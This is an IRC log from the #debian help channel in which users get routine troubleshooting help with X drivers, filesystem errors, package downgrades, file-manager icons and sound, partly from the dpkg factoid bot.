| 06:49.57 | nvz | read the log top to bottom, there are warnings about fonts, not important.. then it fails to load glx, still not important, then nv loads and finds the supported card and brings it all up fine and it errs out about keyboard setup says that xkeyboard-config is possibly misconfigured then says it failed to activate core devices.. i.e. the keyboard.. and then refers you to documentation and the log which I just digested |
| 06:50.38 | TimmyT | I have a lenovo s10-3 .I have upgraded to debian testing. It has a very poor performance in graphics and X. before this I was on debian stable and it was ok. wats the problem? |
| 06:50.46 | *** join/#debian Alam_Squeeze (quasselcor@rigginstereo.lawarias.srb2.org) |
| 06:50.57 | wols_ | TimmyT: not working graphics driver? check glxinfo |
| 06:51.21 | wols_ | TimmyT: and it's testing, it has bugs. that's normal |
| 06:51.43 | TimmyT | wols_: yeah. well im trying to find and report them |
| 06:52.19 | *** part/#debian jelly-home (~jelly@homestuck.iskon.hr) |
| 06:52.28 | *** join/#debian jelly-home (~jelly@homestuck.iskon.hr) |
| 06:52.31 | wols_ | why would you report them? you ask US if there is a problem. if we knew they were already reported |
| 06:53.11 | *** join/#debian StefandeVries (~stefan@ip90-6-209-87.adsl2.static.versatel.nl) |
| 06:53.11 | *** join/#debian StefandeVries (~stefan@unaffiliated/stefandevries) |
| 06:54.35 | *** join/#debian wolfpython (~wolf@180.109.58.73) |
| 06:56.29 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 06:56.53 | *** join/#debian DimmuR (~DimmuR@unaffiliated/dimmur) |
| 06:57.15 | *** join/#debian Gilde (~Gilde@dslb-092-076-151-042.pools.arcor-ip.net) |
| 07:00.42 | waka | nyov: all my sound systems are go. Thanks for your time |
| 07:02.14 | nyov | waka: neat! |
| 07:03.26 | *** join/#debian TimmyT (~timmy@unaffiliated/timmyt) |
| 07:03.29 | waka | nyov: I've just double rebooted just to check. Is alsactl store necessary? |
| 07:05.08 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 07:05.29 | nyov | waka: every time? no it shouldn't |
| 07:06.29 | *** join/#debian delcoyote (~delcoyote@unaffiliated/delcoyote) |
| 07:06.31 | waka | I did it once and when I have rebooted, I can see an error to its effect but I'm not sure what the exact error message is |
| 07:07.08 | *** join/#debian hele (~hele@cs181225139.pp.htv.fi) |
| 07:08.13 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 07:08.27 | nyov | waka: maybe you can find it in boot.log if that is activated, or even in messages |
| 07:08.42 | *** join/#debian jodeba (~debel@ip3.c198.obr248.cust.comxnet.dk) |
| 07:08.52 | *** join/#debian aw84 (~aw84@87-207-236-134.dynamic.chello.pl) |
| 07:09.14 | TimmyT | wols_: how to check glxinfo? :D there is no command like this :'( |
| 07:09.36 | wols_ | !installit |
| 07:09.37 | dpkg | Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. If someone suggests an application to you, it's highly likely that it's available via apt-get or aptitude. |
| 07:09.41 | *** join/#debian RT_FM (rt@unaffiliated/rt-fm/x-8074213) |
| 07:11.01 | *** mode/#debian [+l 1049] by debhelper |
| 07:12.25 | *** join/#debian kuttenbrunzer (~kuttenbru@77-20-183-54-dynip.superkabel.de) |
| 07:12.42 | *** join/#debian totem (~mplayer@unaffiliated/totem) |
| 07:14.09 | *** join/#debian Tom01 (~Tom@p5DDFC750.dip.t-dialin.net) |
| 07:14.34 | waka | nyov, I was expecting a .log file in /var/log/boot but there is no /boot |
| 07:16.33 | wols_ | !bootlog |
| 07:16.35 | dpkg | from memory, bootlogd is disabled by default. Change /etc/default/bootlogd to "Yes" to populate /var/log/boot . For the reason behind the default, see http://bugs.debian.org/213028 (fixed since sysvinit 2.86.ds1-11). Not a command (as opposed to dmesg). |
| 07:17.01 | *** join/#debian Leoneof (~Leon@unaffiliated/leoneof) |
| 07:17.05 | nyov | waka: ok, its only there if you enabled it in /etc/default/bootlogd |
| 07:17.19 | nyov | ah wols_ was faster ;) |
| 07:17.29 | wols_ | no. dpkg was! |
| 07:17.34 | nyov | haha |
| 07:17.38 | wols_ | nyov: never compete with a bot |
| 07:18.22 | nyov | ah, but I can't remember all those factoids. and searching first would take longer :> |
| 07:21.20 | *** join/#debian Gilde (~Gilde@dslb-092-076-151-042.pools.arcor-ip.net) |
| 07:23.02 | *** part/#debian TimmyT (~timmy@unaffiliated/timmyt) |
| 07:23.03 | waka | nyov yes |
| 07:23.10 | waka | I'll get back to you on that one |
| 07:23.25 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 07:23.48 | *** join/#debian acemi (~acemi@unaffiliated/acemi) |
| 07:24.13 | waka | the automatic logging is deactivated on full-upgrade? |
| 07:24.37 | wols_ | what logging do you mean? |
| 07:26.30 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 07:28.27 | *** join/#debian TimmyT (~timmy@unaffiliated/timmyt) |
| 07:28.39 | TimmyT | wols_: here it is: http://pastebin.com/4X7CxgmW |
| 07:29.15 | TimmyT | wols_: also Xorg.log : http://pastebin.com/BCGNYupU |
| 07:29.42 | nyov | waka: ? |
| 07:31.07 | *** join/#debian daniel-s (~daniel-s@r180-216-74-50.cpe.vividwireless.net.au) |
| 07:31.43 | *** join/#debian cplx (~cplx@118.127.32.206) |
| 07:31.51 | *** join/#debian subimage (~cynic@c-71-204-134-192.hsd1.ca.comcast.net) |
| 07:32.02 | *** join/#debian jahil1 (~mohsin@94.203.101.202) |
| 07:32.40 | waka | boot logging? |
| 07:33.00 | subimage | hey guys...i've recently installed debian on a new system and i'm getting "read only filesystem" after about 10 minutes of use. i've gone through 4 drives and 2 motherboards now - thinking it was that issue. now i'm thinking it might just be an incompatibility with debian and my mobo? |
| 07:33.08 | subimage | it's an asus p8p67m-pro |
| 07:33.13 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 07:33.16 | *** join/#debian aidalgol (~user@114-134-7-23.rurallink.co.nz) |
| 07:33.21 | nyov | waka: if you enabled it now, you need to reboot before anything shows up |
| 07:33.28 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 07:33.40 | waka | yes that I understand |
| 07:33.43 | aidalgol | I just upgraded my (nVidia) video card and X failed to start, so I tried pulling the newer drivers from sid (on a squeeze system), but now X can not even find the nvidia driver. |
| 07:33.56 | aidalgol | Would I need to upgrade X or some other things as well to use the sid drivers? |
| 07:34.17 | dutchfish | subimage, did you have a look at the output of dmesg? |
| 07:34.25 | subimage | dutchfish: what should i be looking for? |
| 07:34.42 | dutchfish | subimage, anything regarding the mount of your root partition |
| 07:34.51 | dutchfish | subimage, or remount |
| 07:34.59 | *** join/#debian daniel-s (~daniel-s@r180-216-74-50.cpe.vividwireless.net.au) |
| 07:35.08 | subimage | i just had it shutdown let me boot it again and see if i need to fsck |
| 07:35.29 | subimage | yeah now its doing a bunch of shit..."delete inode with zero dtime" etc |
| 07:35.45 | subimage | now it's saying automatic fsck failed and wants me to do maint mode |
| 07:35.54 | subimage | these drives are fine, mind you |
| 07:36.01 | dutchfish | subimage, when its done, can you pastebin the output of dmesg to pastebin? |
| 07:36.07 | subimage | i'm just wondering if this motherboard just sucks or what |
| 07:36.08 | *** join/#debian spal (~susam@pdpc/supporter/active/spal) |
| 07:36.22 | spal | how can I fix this? http://pastebin.com/24nigCgv |
| 07:36.25 | subimage | lemme see if i can fsck first :p |
| 07:36.44 | *** join/#debian Karen_m (~karen@d50-99-60-236.abhsia.telus.net) |
| 07:37.05 | wols_ | spal: kill the other process which already runs debconf |
| 07:37.28 | gpa | hi guys, what does it mean "crash" in the 9th field of last? |
| 07:37.34 | Karen_m | at one time, i had hundreds of thousands of files in a folder (accident). I've since cleaned it up, but an ls -la in the folder will take a while as if it still sees the files, but only spits out 6 files after a long time... how do I get it to recheck the folder somehow? |
| 07:38.26 | *** join/#debian ycat (~ycas@chello080108101183.24.11.vie.surfer.at) |
| 07:38.40 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 07:39.28 | *** join/#debian MadViking (~user@dsl-roibrasgw1-fe8efb00-63.dhcp.inet.fi) |
| 07:40.22 | dvgsvc | i just installed phpmyadmin, how do i access the webpage? |
| 07:40.53 | gpa | $ last | grep crash |
| 07:40.59 | spal | wols_, okay. killed a perl process which showed something debconf related in the ps listing. dpkg --configure -a is proceeding normally now. thanks. |
| 07:41.00 | *** mode/#debian [+l 1056] by debhelper |
| 07:41.41 | gpa | anybody know what does it mean? |
| 07:42.02 | *** join/#debian Brigo (~Brigo@139.182.60.213.dynamic.mundo-r.com) |
| 07:42.05 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 07:42.51 | spal | gpa, down means that the shell exited normally. crash must mean the opposite i believe. |
| 07:43.00 | *** join/#debian chessman (~ea@188.134.61.51) |
| 07:44.06 | gpa | spal: like i cliked the "x" at the corner of konsole? |
| 07:44.06 | *** join/#debian mcdroidlits (~mclits@ip70-179-32-227.sd.sd.cox.net) |
| 07:44.13 | gpa | *clicked |
| 07:44.31 | spal | gpa, probably. but I am not sure. have to experiment and find out. |
| 07:44.40 | gpa | spal: thanks |
| 07:45.37 | *** join/#debian mcdroidlits (~mclits@ip70-179-32-227.sd.sd.cox.net) |
| 07:46.30 | *** join/#debian chellomere (~alex@h-234-251.A189.priv.bahnhof.se) |
| 07:46.46 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 07:48.18 | gpa | spal: i think that's because the suddently freeze on my screen. it only happened in the last 9 days ago |
| 07:48.29 | gpa | when i got vga card problem |
| 07:48.59 | *** join/#debian Matic`Makovec (~biggi_mat@2001:1470:faca:1502:29b0:837c:83f9:32b3) |
| 07:49.32 | gpa | right now, i use my new vga & it's not loggend in the "last" again |
| 07:49.44 | gpa | *logged |
| 07:50.15 | subimage | dutchfish: http://pastie.org/2119731 |
| 07:50.35 | subimage | dutchfish: that's right after the boot with fsck fixing everything |
| 07:50.59 | *** join/#debian the_hydra (~mulyadi@110.138.145.185) |
| 07:51.27 | *** join/#debian thunderrd (~thunderrd@110.77.241.85) |
| 07:51.48 | subimage | maybe because my bios is using drives in AHCI mode instead of ide? |
| 07:51.57 | subimage | is that a known debian problem? |
| 07:54.25 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 07:54.54 | MarGarina | grr, why is #debian-next invite-only? |
| 07:55.16 | casts | we've identified we don't want you there |
| 07:55.18 | wols_ | MarGarina: oftc.net, not freenode |
| 07:55.27 | *** join/#debian Cyanure (~Cyanure@212-198-160-108.rev.numericable.fr) |
| 07:55.42 | MarGarina | wols_, oh. right. sorry. |
| 07:56.52 | wols_ | np |
| 08:02.42 | *** join/#debian linux4ever (~linux4eve@e181064208.adsl.alicedsl.de) |
| 08:03.55 | *** join/#debian Zeit|awy (~wurscht@HSI-KBW-046-005-149-096.hsi8.kabel-badenwuerttemberg.de) |
| 08:04.27 | *** join/#debian geekosopher (~nitesh@unaffiliated/mistrynitesh) |
| 08:04.31 | *** join/#debian grandie (~thomas@p57ACFECF.dip.t-dialin.net) |
| 08:04.35 | dutchfish | subimage, no obvious wrongs in there .... |
| 08:04.44 | linux4ever | hi all |
| 08:04.56 | linux4ever | Can someone help me with xfe themes? |
| 08:05.20 | wols_ | linux4ever: just ask, but unlikely. a xfce specialized channel might be a better bet |
| 08:05.41 | dutchfish | subimage, does you bios contains software-raid? |
| 08:08.27 | *** join/#debian cga (~cga@82.84.169.60) |
| 08:10.41 | *** join/#debian ailo__ (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 08:11.00 | linux4ever | wols_: Ok, xfe seems to have as default a pink theme. But with this theme I can't read the text in the menus. How to change the theme? |
| 08:11.40 | *** join/#debian ksool (~kevin@unaffiliated/ksool) |
| 08:12.57 | wols_ | linux4ever: I doubt it has a pink theme by default. usually it uses some blue one IIRC. the pink often comes from some sort of fake transparceny since normally that FF00FF color is not used cause it's so hideous |
| 08:13.17 | linux4ever | wols_: So what to do? |
| 08:13.29 | linux4ever | wols_: BTW: Thanks in advance for your help |
| 08:14.20 | *** join/#debian ailo (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 08:15.22 | *** join/#debian jtrucks (~jtrucks@freenode/staff/lopsa.board.jtrucks) |
| 08:15.40 | *** join/#debian grindax (~grindax@cpc9-haye17-2-0-cust43.haye.cable.virginmedia.com) |
| 08:16.03 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 08:16.40 | *** join/#debian ailo_ (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 08:16.49 | *** join/#debian mastroDani (~Daniele@host3-64-dynamic.16-79-r.retail.telecomitalia.it) |
| 08:17.15 | *** join/#debian TimmyT (~timmy@unaffiliated/timmyt) |
| 08:17.20 | *** join/#debian d1b (~db@d1b.org) |
| 08:17.43 | linux4ever | wols_: :-) |
| 08:18.11 | TimmyT | wols_: sry, i was not here, |
| 08:18.37 | TimmyT | wols_: any suggest or idea about it's poor performance? |
| 08:18.52 | *** join/#debian mastroDani (~Daniele@host3-64-dynamic.16-79-r.retail.telecomitalia.it) |
| 08:19.45 | wols_ | TimmyT: no, sorry |
| 08:20.10 | TimmyT | wols_: ok then, where can i report it or get help? |
| 08:20.47 | *** join/#debian mastroDani (~Daniele@host3-64-dynamic.16-79-r.retail.telecomitalia.it) |
| 08:20.55 | wols_ | !testing |
| 08:20.55 | dpkg | Testing is a continuously updated release between <stable> and <unstable>, currently codenamed <wheezy>. See http://wiki.debian.org/DebianTesting and ask me about <testing faq> <squeeze->wheezy> <testing security> <moving target> <dda> <apt-listchanges> and <bts>. You should have a sound knowledge of Debian packaging and be prepared for a bumpy ride at times. Don't use it on things that are critical or on servers. |
| 08:21.04 | linux4ever | wols_: Do I have to change a config file or sth. like that? |
| 08:21.39 | wols_ | linux4ever: dunno. check if the color really is 0xFF00FF, if it is it would be a bug |
| 08:21.58 | *** join/#debian buntfalke (~nobody@unaffiliated/buntfalke) |
| 08:21.59 | linux4ever | wols_: Where to check? |
| 08:22.07 | TimmyT | I want to downgrade xserver-xorg-video-inte from testing to stable. but it says if i do this, it'll remove xserver-xorg and xserver-xorg-core. is it possible to downgrade without removing that packages? |
| 08:22.10 | *** join/#debian Tiffon (~name@79.109.195.222.dyn.user.ono.com) |
| 08:22.10 | *** join/#debian Tiffon (~name@unaffiliated/tiff0n) |
| 08:22.11 | ectospasm | <PROTECTED> |
| 08:22.37 | *** join/#debian mastroDani (~Daniele@host3-64-dynamic.16-79-r.retail.telecomitalia.it) |
| 08:23.14 | ectospasm | TimmyT: you might be better served by reinstalling stable... as I understand it, transitioning from stable to testing is a one-way process... |
| 08:23.23 | wols_ | linux4ever: make screen shot and use the image manipulating program of your choice |
| 08:23.43 | subimage | dutchfish: in the bios i have it set to AHCI...it can be set to IDE or RAID mode |
| 08:25.24 | TimmyT | ectospasm: u mean reinstall a new debian? or reinstall that only package? |
| 08:27.02 | wols_ | ectospasm: no. 0xFF00FF 32bit RGB |
| 08:27.09 | *** join/#debian Bauldrick (~5678@host86-158-246-232.range86-158.btcentralplus.com) |
| 08:27.25 | wols_ | !downgrade |
| 08:27.25 | dpkg | [downgrade] Downgrading is not possible with apt-get/aptitude and no future support is anticipated. Some programs change the binary format of their files in a way that cannot be rolled back later, and package maintainer scripts provide ways to upgrade to new config file formats but not ways to downgrade. You can always try to downgrade a package using dpkg -i <olderversion.deb>. See also <partial downgrade>, <unstable->testing>, <sdo>. |
| 08:27.51 | *** join/#debian SpeedyG (~user@unaffiliated/speedyg) |
| 08:28.00 | *** join/#debian Zylvain (~Zylvain@2a01:e35:8a07:4aa0:215:afff:fea2:cf66) |
| 08:28.02 | *** join/#debian HardDisk_WP (~marco@velirat.de) |
| 08:28.02 | *** join/#debian HardDisk_WP (~marco@wikipedia/harddisk) |
| 08:28.20 | SpeedyG | hm, just had a rather painful downtime of 2 days due to upgrade from lenny to squeeze :( |
| 08:28.26 | ectospasm | wols_: yes, I understand. I just wanted to point out some irony (-; |
| 08:28.30 | TimmyT | !partial downgrade |
| 08:28.31 | dpkg | This may or may not work for you, but if you've got nothing to lose then try it. (a) Change sources.list (b) aptitude update (c) aptitude and then search for the upgraded packages, hit enter on them, select the correct version (d) do the same for libc6 (e) search for broken packages by hitting "/" and searching for "~b" and then fix them in the same way (f) once you have no more broken packages, hit 'g' See <not available> |
| 08:28.41 | wols_ | !tell TimmyT about msgthebot |
| 08:28.57 | *** join/#debian mjmt (~mjmt@unaffiliated/mjmt) |
| 08:29.15 | TimmyT | wols_: sry for that, i forgot to set /msg |
| 08:30.05 | *** part/#debian TimmyT (~timmy@unaffiliated/timmyt) |
| 08:30.18 | SpeedyG | now gotta fix my lenny xen installs to run on squeeze |
| 08:31.09 | dutchfish | subimage, i am not sure, but i would prevent softraid, that could be intercept disk calls |
| 08:31.29 | subimage | dutchfish: same issue happens with or without it |
| 08:31.39 | subimage | i've installed fresh on 2 new drives and the same thing happens |
| 08:31.40 | dutchfish | subimage, at least from the bios standpoint of view |
| 08:31.49 | subimage | so i took my hd's out of another working machine and put em in here |
| 08:31.58 | subimage | booted, and like 10 minutes after i got that stupid "read only filesystem" error |
| 08:31.59 | dutchfish | subimage, have you checked if there are bios updates? |
| 08:32.08 | subimage | yeah i'm on the latest :( |
| 08:32.16 | dutchfish | subimage, (this could be a bios issue) |
| 08:32.21 | subimage | perhaps |
| 08:32.30 | subimage | i have it loaded in "IDE mode" right now to see if that prevents it from happening |
| 08:32.34 | subimage | we will see i guess |
| 08:32.40 | dutchfish | ok |
| 08:33.01 | subimage | i'm doing a backup of my files to my NAS just in case :) |
| 08:33.06 | *** join/#debian Skaperen (~phil@c-76-125-202-149.hsd1.wv.comcast.net) |
| 08:33.49 | dutchfish | subimage, also check smart errors, not that i suspect your disks are the issue, but i have seen shutdown issues with fast disks, not flusing out all data on shutdown | just a thought |
| 08:34.10 | dutchfish | subimage, good idee |
| 08:35.21 | *** join/#debian Raphaelt (~Raphael@ret08-1-88-182-200-157.fbx.proxad.net) |
| 08:38.45 | dutchfish | biggest consumer was browsercache, *was* |
| 08:38.56 | *** join/#debian Archtivity (~Archtivit@lns-bzn-60-82-254-215-12.adsl.proxad.net) |
| 08:39.42 | *** join/#debian stfo (~chatzilla@p5B26468D.dip.t-dialin.net) |
| 08:40.17 | *** join/#debian jemark (~mark@unaffiliated/jemark) |
| 08:41.16 | *** join/#debian RobinJ (~Robin@unaffiliated/robinj) |
| 08:41.34 | *** join/#debian Coxys (~coxys@nat66.mia.three.co.uk) |
| 08:41.35 | *** join/#debian zapadlo (~zapadlo@host-84-13-48-141.opaltelecom.net) |
| 08:41.37 | *** join/#debian Worf (~worf@chello080109200187.3.sc-graz.chello.at) |
| 08:41.45 | *** join/#debian SpeedyG (~speedyg@unaffiliated/speedyg) |
| 08:41.50 | *** part/#debian Lukosanthropos (~Lukosanth@cpc23-seac20-2-0-cust78.7-2.cable.virginmedia.com) |
| 08:42.09 | *** join/#debian kyr0 (~kyr0@5ED1ADB0.cm-7-2c.dynamic.ziggo.nl) |
| 08:42.09 | *** join/#debian kyr0 (~kyr0@unaffiliated/kyr0) |
| 08:43.35 | *** join/#debian Morten_ (~morten@2.107.15.157) |
| 08:43.50 | *** join/#debian apelgate (~apel@h-16-247.A328.priv.bahnhof.se) |
| 08:44.09 | *** join/#debian yakmoose (~yakmoose@121.98.152.11) |
| 08:45.23 | *** join/#debian aidaho (~aidaho@91.224.168.10) |
| 08:45.53 | *** part/#debian Coxys (~coxys@nat66.mia.three.co.uk) |
| 08:47.10 | *** join/#debian zyga (~zyga@53.Red-83-40-176.dynamicIP.rima-tde.net) |
| 08:47.10 | *** join/#debian zyga (~zyga@linaro/zyga) |
| 08:47.57 | stfo | jajaja |
| 08:48.09 | *** join/#debian davidisko (~davidisko@nat-88-212-37-51.antik.sk) |
| 08:51.00 | *** mode/#debian [+l 1064] by debhelper |
| 08:51.37 | *** join/#debian flypp (~flypp@23.pool85-57-69.dynamic.orange.es) |
| 08:52.45 | *** join/#debian PhilSliderS (~kvirc@2a01:e35:87c9:44d0:147d:8354:a12c:3988) |
| 08:52.47 | *** join/#debian ailo__ (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 08:53.11 | *** join/#debian Raphaelt (~Raphael@ret08-1-88-182-200-157.fbx.proxad.net) |
| 08:53.56 | *** join/#debian hogem (~hogem@121-80-128-41f1.osk2.eonet.ne.jp) |
| 08:57.47 | *** join/#debian Katibe (~Katibe@212.174.109.55) |
| 08:58.43 | *** join/#debian bint (bint@cable-static-220-208.intergga.ch) |
| 08:59.41 | *** join/#debian ayambit (~chatzilla@95-26-55-125.broadband.corbina.ru) |
| 09:00.14 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 09:01.12 | stfo | knows nothing |
| 09:01.33 | *** join/#debian Leoneof (~Leon@unaffiliated/leoneof) |
| 09:01.36 | *** join/#debian Sunblade (~hardcore@unaffiliated/sunblade) |
| 09:01.53 | *** join/#debian daemonkeeper (~Arno@unaffiliated/metalfoo) |
| 09:03.23 | *** join/#debian apelgate (~apel@h-9-90.A328.priv.bahnhof.se) |
| 09:06.59 | *** join/#debian MartyD (~martyd@unaffiliated/martyd) |
| 09:08.31 | *** join/#debian debiantux (55b55075@gateway/web/freenode/ip.85.181.80.117) |
| 09:09.21 | *** join/#debian linux4ever (~linux4eve@e181080117.adsl.alicedsl.de) |
| 09:09.29 | linux4ever | wols_: Still here? |
| 09:09.37 | linux4ever | wols_: Sorry, I was AFK. |
| 09:10.23 | *** join/#debian ailo_ (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 09:10.25 | *** join/#debian drwrr (~drwrr___@ip-178-202-101-63.unitymediagroup.de) |
| 09:10.35 | linux4ever | wols_: Here's the screenshot: http://www.abload.de/img/fotoks9s.png |
| 09:10.51 | linux4ever | wols_: I think it contains the color you said. |
| 09:11.27 | *** join/#debian yakmoose (~yakmoose@121.98.152.11) |
| 09:13.14 | nyov | linux4ever: looks fun? |
| 09:13.31 | *** join/#debian aLgEBrA (~holger@p2-001.pptp.ggew-net.de) |
| 09:13.46 | nyov | broke your VGA cable? D: |
| 09:13.55 | linux4ever | nyov: BUt I can't read the font. |
| 09:14.05 | linux4ever | nyov: No xfe has a bug |
| 09:14.28 | drwrr | hi again. been around a bit earlier with xorg configuration trouble. i've read up what i could find on the switch to udev, but i can't get my head around it: when i add my own options to X's conf, be it in /etc/X11/xorg.conf or in xorg.conf.d, udev seems to stop working, and won't recognize my input devices (they detect fine without any user-added config). |
| 09:14.34 | nyov | sorry, I can't help with xfce |
| 09:15.20 | linux4ever | ok |
| 09:15.28 | linux4ever | I'll chnage to pcmanfm |
| 09:15.42 | linux4ever | @all: Can someone help me with pcmanfm? |
| 09:15.51 | linux4ever | @all: No icons appear. |
| 09:15.59 | linux4ever | @all: Thanks in advance. |
| 09:16.44 | linux4ever | (I use fluxbox) |
| 09:17.30 | *** join/#debian HackeMate (~hXm@194.Red-81-38-255.dynamicIP.rima-tde.net) |
| 09:17.44 | ectospasm | linux4ever: I use pcmanfm, what do you mean no icons appear? |
| 09:17.54 | ectospasm | Have you let it finish starting up? |
| 09:18.07 | linux4ever | ectospasm: Yes. |
| 09:18.19 | linux4ever | ectospasm: But there's for exmaple no icon for the trash. |
| 09:18.23 | *** join/#debian g00se (~goose@host86-146-111-134.range86-146.btcentralplus.com) |
| 09:18.26 | linux4ever | ectospasm: For nothing |
| 09:18.37 | linux4ever | ectospasm: Should I post the terminal error message? |
| 09:19.32 | *** join/#debian doogaille (~doogaille@2a01:e35:87a1:62c0:e2f8:47ff:fe06:73cc) |
| 09:19.43 | ectospasm | linux4ever: I don't have a trash icon. Do you not see icons for the directories? |
| 09:19.45 | drwrr | the only custom stuff i have in X's config now is a file named 45-display.conf (in xorg.conf.d), which looks like this: http://paste.debian.net/120923/ -- as soon as i add that though, "(EE) XKB: Could not invoke xkbcomp" happens, no evdev magic happening. any pointers please? |
| 09:19.50 | g00se | Getting '404 Not Found [IP: 86.59.118.148 80]' mostly (all the time?) for squeeze backports. What gives? |
| 09:19.53 | g00se | deb http://backports.debian.org/debian-backports squeeze-backports main |
| 09:20.07 | *** join/#debian galf (~quassel@219.239.88.205) |
| 09:20.13 | *** join/#debian tensorpudding (~tensorpud@99.70.203.86) |
| 09:20.23 | linux4ever | ectospasm: Nope. |
| 09:20.40 | petemc | g00se: have you ran apt-get update recently? |
| 09:21.00 | *** mode/#debian [+l 1070] by debhelper |
| 09:21.06 | ectospasm | linux4ever: pastebin the terminal error messages |
| 09:21.21 | g00se | petemc: aptitude update |
| 09:22.29 | *** join/#debian mns` (~1001110@187.0.26.64) |
| 09:22.50 | *** part/#debian mns` (~1001110@187.0.26.64) |
| 09:23.41 | linux4ever | ectospasm: ok |
| 09:23.43 | linux4ever | ectospasm: mom |
| 09:24.22 | linux4ever | ectospasm: Here you go: http://pastebin.com/w0SPtJer |
| 09:24.48 | *** join/#debian cga (~cga@82.84.169.60) |
| 09:26.54 | ectospasm | linux4ever: it seems obvious that you're missing some gnome theme icons... |
| 09:26.56 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 09:27.10 | linux4ever | ectospasm: But I use fluxbox. |
| 09:27.18 | linux4ever | ectospasm: What do I have to do? |
| 09:27.19 | ectospasm | linux4ever: do you have GNOME installed? |
| 09:27.46 | linux4ever | ectospasm: Nope, I don't think so. Maybe some gnome-libaries for gedit |
| 09:28.10 | *** join/#debian hebz0rl (~hebz0rl@dslb-094-217-195-158.pools.arcor-ip.net) |
| 09:28.57 | ectospasm | linux4ever: you can try gnome-extra-icons, but I don't know if that will do it for you. |
| 09:31.05 | linux4ever | ectospasm: I'll try and restart |
| 09:31.10 | intx | what's the recommended way to find the fastest apt mirror? |
| 09:31.22 | *** join/#debian Tigger__ (Tigger@cpc4-fare6-2-0-cust436.6-1.cable.virginmedia.com) |
| 09:33.02 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 09:33.38 | *** part/#debian galf (~quassel@219.239.88.205) |
| 09:33.54 | *** join/#debian wroos (~wroos@83.172.84.178) |
| 09:36.15 | *** join/#debian Bauldrick (~5678@host86-158-246-232.range86-158.btcentralplus.com) |
| 09:36.23 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 09:37.37 | ectospasm | intx: netselect-apt |
| 09:37.53 | wols_ | !cdn |
| 09:37.53 | dpkg | [cdn] Package <changelogs> are available at http://changelogs.debian.net/ . For information on cdn.debian.net, ask me about <geo sources.list>. |
| 09:38.10 | wols_ | intx: it's the geo sources.list factoid |
| 09:38.28 | *** join/#debian e1z0 (~null@84.32.72.198) |
| 09:38.28 | *** join/#debian e1z0 (~null@pdpc/supporter/7for7/e1z0) |
| 09:39.14 | *** join/#debian geekosopher (~nitesh@unaffiliated/mistrynitesh) |
| 09:39.46 | ectospasm | intx: netselect-apt will emperically determine which is the fastest mirror |
| 09:39.50 | *** part/#debian yakmoose (~yakmoose@121.98.152.11) |
| 09:41.19 | *** join/#debian petrov_ (~petrov@91.181.217.6) |
| 09:42.09 | *** join/#debian cheater__ (~ubuntu@g229129111.adsl.alicedsl.de) |
| 09:42.23 | *** join/#debian davyg (~davyg@2a01:e35:243c:9250:215:c5ff:fe7e:4a96) |
| 09:42.31 | *** join/#debian AbsintheSyringe (~havoc@SE400.PPPoE-2892.sa.bih.net.ba) |
| 09:44.07 | *** join/#debian sylarr (~sylarrrr@bzq-218-182-227.red.bezeqint.net) |
| 09:44.14 | *** join/#debian sylar_ (~sylarrrr@bzq-218-182-227.red.bezeqint.net) |
| 09:44.35 | *** join/#debian SyGeek (FusionX@109.73.163.16) |
| 09:46.40 | *** join/#debian [SkG] (~SkG@unaffiliated/skg/x-897332) |
| 09:48.17 | *** join/#debian syslq (~syslq@91.185.207.168) |
| 09:48.44 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 09:53.04 | *** join/#debian davidisko1 (~davidisko@nat-88-212-37-51.antik.sk) |
| 09:53.05 | *** join/#debian shylent_ (~maniac@92.255.88.99) |
| 09:53.19 | *** join/#debian shylent_ (~maniac@unaffiliated/ossory) |
| 09:54.40 | *** join/#debian DeathNostril (~quag7@c-69-137-190-102.hsd1.az.comcast.net) |
| 09:55.04 | *** join/#debian geenna (~geenna@host15-40-dynamic.57-82-r.retail.telecomitalia.it) |
| 09:56.24 | *** join/#debian ivo_ (~ivo@g228138099.adsl.alicedsl.de) |
| 09:56.54 | *** join/#debian bocaneri (~sauvin@about/linux/staff/sauvin) |
| 09:59.05 | *** join/#debian salvin (~salvin@unaffiliated/salvin) |
| 09:59.14 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 09:59.17 | linux4ever | ectospasm: Fixed. It works now. |
| 09:59.25 | linux4ever | ectospasm: Thanks a lot for your help |
| 10:00.02 | linux4ever | @all: I have got no sound on my fluxbox-debian. |
| 10:00.10 | linux4ever | @all: What to do? |
| 10:01.06 | *** join/#debian mirco (~mirco@p5B28587B.dip.t-dialin.net) |
| 10:01.36 | *** join/#debian starenka_ (~starenka@ip-62-245-81-157.net.upcbroadband.cz) |
| 10:02.14 | ectospasm | linux4ever: check the mixer levels, e.g. alsamixer(gui), or I don't know what volume control thingy you get with fluxbox /-; |
| 10:02.21 | ectospasm | never got turned on by fluxbox |
| 10:02.39 | ectospasm | ...seemed fvwm did mostly the same thing |
| 10:02.53 | ectospasm | ...but now, I'm all about tiling |
| 10:03.41 | cahoot | linux4ever, run speaker-test -t wav -c2 |
| 10:03.51 | *** join/#debian genieliu (~genieliu@59.78.62.120) |
